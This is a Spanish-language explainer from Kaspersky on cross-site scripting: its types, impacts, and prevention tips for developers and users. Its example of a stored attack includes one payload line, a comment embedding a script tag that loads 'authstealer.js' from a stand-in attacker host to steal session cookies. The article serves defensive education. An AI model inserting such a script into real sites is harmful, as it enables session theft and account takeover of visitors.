Skip to main

¿Qué es el scripting entre sitios?

Los ataques de scripting entre sitios (a veces denominados XSS) implican la inyección de un código malicioso en sitios web que normalmente son de confianza. Un ataque de scripting entre sitios se produce cuando los cibercriminales inyectan scripts maliciosos en el contenido del sitio web objetivo, el cual luego se incluye junto con el contenido dinámico entregado al navegador de la víctima. El navegador de la víctima no tiene forma de saber que no se puede confiar en los scripts maliciosos y, por lo tanto, los ejecuta.

Como resultado, los scripts maliciosos pueden acceder a las cookies, los tokens de sesión u otra información confidencial retenida por el navegador y que se utiliza dentro de ese sitio. Los atacantes también pueden utilizar los XSS para propagar malware, reescribir el contenido de sitios web, causar problemas en las redes sociales y realizar phishing para obtener credenciales de usuario. Un XSS se diferencia de otros ataques web porque no se dirige directamente a la aplicación en sí. En cambio, los usuarios de la aplicación web son los que están en riesgo.

Cómo funciona el scripting entre sitios

El scripting entre sitios funciona mediante la manipulación de un sitio web vulnerable para que devuelva scripts maliciosos a los usuarios. A menudo, esto implica el uso de JavaScript, pero se puede utilizar cualquier lenguaje del lado del cliente. Los cibercriminales buscan sitios web con funciones vulnerables que acepten la entrada del usuario, como barras de búsqueda, cuadros de comentarios o formularios de inicio de sesión. Los criminales adjuntan su código malicioso encima del sitio web legítimo, lo cual engaña a los navegadores para que ejecuten su malware cada vez que se carga el sitio.

Dado que JavaScript se ejecuta en la página del navegador de la víctima, se pueden robar los detalles confidenciales sobre el usuario autenticado desde la sesión, lo que permite a entidades maliciosas atacar a administradores de sitio y comprometer sitios web.

Dependiendo de cómo se inyecte el código, es posible que el contenido malicioso ni siquiera esté en la propia página web, sino como un elemento transitorio que solo parece ser parte del sitio web en el momento de explotar la debilidad. Esto puede crear la ilusión de que el sitio web real está comprometido cuando no es el caso.

Hay diferentes formas de desencadenar un ataque XSS. Por ejemplo, la ejecución podría activarse automáticamente cuando se carga la página o cuando un usuario pasa el mouse por sobre elementos específicos de la página, como hipervínculos. En algunos casos, el XSS se realiza de forma más directa, como en un mensaje de correo electrónico. Algunos ataques de XSS no tienen un objetivo específico. El atacante simplemente explota una vulnerabilidad en la aplicación o el sitio, aprovechándose de cualquiera que tenga la mala suerte de ser la víctima.

Dependiendo de la escala del ataque, es posible que las cuentas de los usuarios se vean comprometidas, se activen programas troyanos y se modifique el contenido de la página, engañando a los usuarios para que divulguen sus datos privados. Es posible que se revelen las cookies de sesión, lo que permitiría a un perpetrador hacerse pasar por usuarios válidos y abusar de sus cuentas privadas.

Un ataque exitoso de scripting entre sitios puede tener consecuencias devastadoras para la reputación de una empresa en línea y la relación con sus clientes. Desafortunadamente, las fallas que permiten que los ataques de XSS tengan éxito son bastante generalizadas. Los ataques de XSS pueden aprovechar las vulnerabilidades en varios entornos de programación, incluidos VBScript, Flash, ActiveX y JavaScript. Un XSS apunta principalmente a JavaScript debido a la estrecha integración del lenguaje con la mayoría de los navegadores. Esta capacidad de explotar plataformas de uso común hace que los ataques de XSS sean peligrosos y extensos.

Kaspersky Premium - bloquee ciberamenazas como el phishing y el fraude

Impacto de un XSS

Al explotar las vulnerabilidades de XSS, un atacante puede realizar acciones maliciosas, como las siguientes:

  • Redirigir a los usuarios a un sitio web malicioso.
  • Capturar las teclas que presionan los usuarios.
  • Acceder al historial del navegador de los usuarios y al contenido del portapapeles.
  • Ejecutar exploits basados en navegador web (por ejemplo, bloquear el navegador).
  • Obtener la información de las cookies de un usuario que inició sesión en un sitio web.
  • Robar el token del inicio de sesión, lo que permite al atacante interactuar con la aplicación como si fuera la víctima sin tener que conocer su contraseña.
  • Obligar al usuario a enviar solicitudes controladas por el atacante a un servidor.
  • Cambiar el contenido de una página.
  • Engañar a la víctima para que divulgue su contraseña para la aplicación u otras aplicaciones.
  • Infectar a la víctima con otro código malicioso utilizando una vulnerabilidad en el propio navegador web (y posiblemente tomando el control de la computadora de la víctima).

En algunos casos, un ataque XSS puede llevar a que la cuenta de la víctima quede completamente comprometida. Los atacantes pueden engañar a los usuarios para que ingresen credenciales en un formulario falso, lo que proporciona toda la información al atacante. Una vez que obtienen las credenciales de usuario, los atacantes podrían usarlas para cometer robo de identidad o fraude financiero.

Tipos de ataques de XSS

El scripting entre sitios se puede clasificar en tres categorías principales: XSS almacenadoXSS reflejado y XSS basado en DOM.

Scripting entre sitios almacenado (XSS persistente)

El XSS almacenado, también conocido como XSS persistente, se considera como el tipo de ataque de XSS más dañino. Un XSS almacenado ocurre cuando la entrada proporcionada por el usuario se almacena y, luego, se procesa dentro de una página web. Los puntos de entrada típicos para un XSS almacenado incluyen foros de mensajes, comentarios de blogs, perfiles de usuario y campos de nombre de usuario. Un atacante normalmente aprovecha esta vulnerabilidad inyectando cargas útiles de XSS en páginas populares de un sitio o pasando un enlace a una víctima, engañándola para que vea la página que contiene la carga útil de XSS almacenada. La víctima visita la página y el navegador web de la víctima ejecuta la carga útil en el lado del cliente.

Scripting entre sitios reflejado (XSS no persistente)

El tipo más común de XSS se conoce como XSS reflejado (también conocido como XSS no persistente). En este caso, la carga útil del atacante debe ser parte de la solicitud enviada al servidor web. Luego, este se refleja de tal manera que la respuesta HTTP incluye la carga útil de la solicitud HTTP. Los atacantes utilizan enlaces maliciosos, correos electrónicos de phishing y otras técnicas de ingeniería social para engañar a la víctima a fin de que realice una solicitud al servidor. Luego, la carga útil de XSS reflejada se ejecuta en el navegador del usuario.

El XSS reflejado no es un ataque persistente, por lo que el atacante debe entregar la carga útil a cada víctima. Estos ataques suelen realizarse a través de las redes sociales.

Scripting entre sitios basado en DOM

Un XSS basado en DOM se refiere a una vulnerabilidad de scripting entre sitios que aparece en el DOM (Modelo de objetos del documento), en lugar de aparecer en una parte del HTML. En los ataques de scripting entre sitios reflejados y almacenados, puedes ver la carga útil de vulnerabilidad en la página de respuesta; sin embargo, en el scripting entre sitios basado en DOM, el código fuente HTML del ataque y de la respuesta serán los mismos, es decir, no se puede encontrar la carga útil en la respuesta. Solo se puede observar en el tiempo de ejecución o investigando el DOM de la página.

Un ataque XSS basado en DOM es, a menudo, un ataque del lado del cliente y la carga útil maliciosa nunca se envía al servidor. Esto dificulta aún más su detección por parte de firewalls de aplicaciones web (WAF, por sus siglas en inglés) e ingenieros de seguridad que analizan los registros del servidor debido a que nunca ven el ataque. Los objetos DOM que se manipulan con mayor frecuencia incluyen la URL (document.URL), la parte de anclaje de la URL (location.hash) y la referencia (document.referrer).

Scripting entre sitios

Ejemplo de ataque de XSS

Por ejemplo: mientras navegas por un sitio web de comercio electrónico, una entidad maliciosa identifica una vulnerabilidad que permite incrustar etiquetas HTML en la sección de comentarios del sitio. Las etiquetas incrustadas se convierten en una característica permanente de la página, lo que hace que el navegador las incluya junto con el resto del código fuente cada vez que se abre la página.

El atacante agrega un comentario similar a lo siguiente: Artículo de gran valor. Lee mi revisión completa aquí <script src=”http://attackersite.com/authstealer.js”> </script>.

Después de eso, cada vez que se accede a la página, la etiqueta HTML en el comentario activará un archivo JavaScript, el cual está alojado en otro sitio y puede robar las cookies de sesión de los visitantes.

Al utilizar la cookie de sesión, el atacante puede comprometer la cuenta del visitante, dándole un fácil acceso a su información personal y datos financieros. Mientras tanto, el visitante, el cual puede que ni siquiera haya bajado hasta la sección de comentarios, sigue sin saber que se produjo el ataque.

A diferencia de un ataque reflejado, en el cual el script se activa después de hacer clic en un enlace, un ataque almacenado solo requiere que la víctima visite la página web comprometida. Esto aumenta el alcance del ataque, poniendo en peligro a todos los visitantes por muy cautelosos que sean.

Desde el punto de vista del atacante, los ataques de XSS persistentes son más difíciles de ejecutar debido a las dificultades para localizar tanto un sitio web con tráfico como uno con vulnerabilidades que permitan la incrustación permanente de scripts.

Prevención del scripting entre sitios

Para minimizar la vulnerabilidad de scripting entre sitios, los desarrolladores/propietarios de sitios web deben hacer lo siguiente:

  • Garantizar que cualquier página de su sitio web que acepte entradas de usuario filtre las entradas de código, como HTML y JavaScript.
  • Escanear en busca de vulnerabilidades de aplicaciones web y corregirlas según corresponda.
  • Actualizar su sitio web y el software del servidor para evitar la explotación futura de vulnerabilidades que puedan ser el blanco de un ataque de XSS.

Para evitar ser víctima de un ataque de XSS, los usuarios individuales deben hacer lo siguiente:

  • Deshabilitar los scripts en páginas donde no sean necesarias o deshabilitarlas por completo.
  • Evitar hacer clic en enlaces de correos electrónicos sospechosos o publicaciones en foros de mensajes, ya que podrían llevar a páginas comprometidas.
  • Acceder a los sitios web directamente escribiendo la URL en su navegador en lugar de usar una fuente o un enlace de terceros.
  • Mantener actualizado el software para beneficiarse de las más recientes correcciones de errores y parches de seguridad. La actualización regular del software reducirá significativamente las vulnerabilidades que dejan un sitio o una aplicación abiertos a ataques de XSS.
  • Auditar las aplicaciones para determinar cuáles son necesarias y cuáles se utilizan con poca frecuencia. Deshacerse de las aplicaciones que no usas reduce la cantidad de vulnerabilidades potenciales.
  • Utilizar un antivirus de alta calidad, como Kaspersky Total Security: este programa funciona permanentemente para proteger tus dispositivos y datos. Bloquea amenazas comunes y complejas, como virus, malware, ransomware, aplicaciones espía y los trucos más recientes de los hackers.

Artículos relacionados:

¿Qué es un ataque de scripting entre sitios? Definición y explicación

¿Qué es el scripting entre sitios? Obtén información sobre las vulnerabilidades, los ataques y la prevención del scripting entre sitios.
Kaspersky Logo